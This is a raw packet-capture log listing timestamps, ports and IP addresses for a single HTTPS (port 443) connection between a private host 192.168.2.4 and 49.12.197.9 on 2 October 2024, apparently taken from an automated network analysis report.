Oct 2, 2024 05:20:40.489665031 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.489773989 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.489784956 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.489881992 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.497073889 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.497088909 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.497154951 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.497164965 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.497209072 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.506423950 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.506438971 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.506503105 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.506513119 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.506544113 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.506562948 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.514008045 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.514023066 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.514113903 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.514127016 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.514202118 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.522550106 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.522564888 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.522627115 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.522645950 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.522692919 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.533447981 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.533462048 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.533519983 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.533530951 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.533576965 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.551403046 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.551418066 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.551493883 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.551522970 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.551570892 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.565129995 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.565144062 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.565201998 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.565215111 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.565256119 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.576574087 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.576594114 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.576699972 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.576709986 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.576807022 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.583913088 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.583935976 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.584059954 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.584067106 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.584127903 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.593274117 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.593290091 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.593352079 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.593358994 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.593403101 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.600898027 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.600914001 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.600967884 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.600976944 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.601017952 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.609447002 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.609496117 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.609523058 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.609530926 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.609546900 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.609560966 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.620429039 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.620482922 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.620501041 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.620512962 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.620562077 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.620575905 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.638339996 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.638355017 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.638430119 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.638437986 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.638484001 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.652082920 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.652096987 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.652271986 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.652282000 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.652333975 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.663516998 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.663531065 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.663603067 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.663614035 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.663661957 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.670974970 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.670988083 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.671039104 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.671047926 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.671093941 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.680146933 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.680160999 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.680216074 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.680227041 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.680267096 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.705987930 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.706008911 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.706090927 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.706101894 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.706162930 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.706336021 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.706351995 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.706393957 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.706403971 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.706423998 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.706440926 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.707302094 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.707315922 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.707371950 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.707381010 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.707425117 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.725424051 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.725440025 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.725528002 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.725539923 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.725586891 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.738934040 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.738953114 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.739021063 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.739029884 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.739078999 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.750387907 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.750401974 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.750533104 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.750540972 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.750588894 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.757812023 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.757844925 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.757905006 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.757914066 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.757956028 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.767163038 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.767178059 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.767239094 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.767247915 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.767287016 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.793013096 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.793030977 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.793091059 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.793101072 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.793143034 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.793508053 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.793523073 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.793581963 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.793590069 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.793627977 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.794574022 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.794595957 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.794641972 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.794651985 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.794665098 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.794687986 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.813879967 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.813894987 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.813977957 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.813987017 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.814028978 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.825978041 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.825993061 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.826054096 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.826062918 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.826112986 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.837234974 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.837250948 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.837327003 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.837336063 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.837374926 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.844563007 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.844578981 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.844633102 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.844643116 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.844685078 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.854051113 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.854064941 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.854123116 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.854131937 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.854173899 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.880213976 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.880258083 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.880275011 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.880287886 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.880302906 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.880330086 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.881320000 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.881335974 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.881396055 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.881403923 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.881445885 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.881917000 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.881931067 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.881979942 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.881989002 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.882051945 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.900695086 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.900716066 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.900768042 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.900783062 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.900821924 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.912831068 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.912844896 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.912906885 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.912928104 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.912975073 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.924328089 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.924341917 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.924397945 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.924412966 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.924460888 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.937855959 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.937870979 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.937928915 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.937946081 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.937999010 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.940778971 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.940794945 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.940848112 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.940857887 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.940905094 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.967046022 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.967061043 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.967139006 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.967149973 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.967195034 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.969794035 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.969811916 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.969855070 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.969863892 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.969906092 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.970344067 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.970359087 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.970410109 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.970418930 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.970477104 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.987679005 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.987692118 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.987744093 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.987754107 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.987777948 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.987788916 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.999656916 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.999672890 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.999715090 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.999726057 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:40.999752045 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:40.999759912 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.011193037 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.011205912 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.011265993 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.011279106 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.011320114 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.024776936 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.024791956 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.024857998 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.024873972 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.024915934 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.027899981 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.027916908 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.027964115 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.027976036 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.028040886 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.028081894 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.053930044 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.053949118 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.053988934 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.054004908 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.054018974 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.054043055 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.056756020 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.056777000 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.056828022 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.056840897 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.056884050 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.057271004 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.057296038 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.057353020 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.057365894 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.057405949 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.074508905 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.074523926 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.074611902 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.074626923 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.074671030 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.086577892 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.086591959 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.086647987 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.086662054 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.086704969 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.098016024 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.098032951 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.098093987 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.098107100 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.098193884 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.111836910 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.111854076 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.111895084 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.111905098 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.111928940 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.111942053 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.114799976 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.114814043 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.114861965 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.114876032 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.114916086 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.140728951 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.140743971 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.140907049 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.140923977 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.140971899 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.143471003 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.143486023 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.143537998 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.143549919 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.143593073 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.143949032 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.143965006 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.144140959 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.144153118 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.144195080 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.161542892 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.161557913 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.161617994 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.161633968 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.161659002 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.161669970 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.173516035 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.173536062 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.173583984 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.173594952 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.173612118 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.173645020 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.184835911 CEST	443	49809	49.12.197.9	192.168.2.4
